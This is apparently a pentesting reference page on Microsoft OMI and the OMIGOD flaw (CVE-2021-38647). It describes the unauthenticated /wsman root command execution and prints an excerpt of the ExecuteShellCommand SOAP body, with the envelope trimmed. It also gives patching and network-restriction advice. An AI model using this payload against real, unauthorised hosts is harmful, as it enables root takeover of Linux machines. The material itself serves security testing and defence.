5985, 5986 - Pentesting OMI
Basic Information
Microsoft’s Open Management Infrastructure (OMI) is an open-source implementation of the Distributed Management Task Force’s CIM and WS-Management standards for Unix-like systems.[1] Some Azure management extensions install OMI on Linux virtual machines, including extensions associated with services such as:[3]
- Azure Automation
- Azure Automatic Update
- Azure Operations Management Suite
- Azure Log Analytics
- Azure Configuration Management
- Azure Diagnostics
Depending on the extension and configuration, omiengine may run as root and expose an HTTPS listener. OMI can also operate through a local Unix socket, so installation alone does not prove that a network listener is reachable.[3]
Common WS-Management ports are 5985/TCP for HTTP and 5986/TCP for HTTPS.[4]
CVE-2021-38647 (OMIGOD)
Microsoft disclosed CVE-2021-38647 in September 2021. Vulnerable OMI versions could incorrectly authorize an unauthenticated request sent to the /wsman endpoint when the Authorization header was omitted.[2][3]
On a network-exposed vulnerable instance, an attacker could send an ExecuteShellCommand SOAP request without that header and execute commands as root.[4] The following is only the relevant body excerpt; a complete request also needs the WS-Management envelope fields described in the linked analysis and proof of concept:
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>Patch OMI and restrict WS-Management listeners to trusted management networks. Horizon3.ai’s repository contains a technical proof of concept suitable for controlled validation.[5]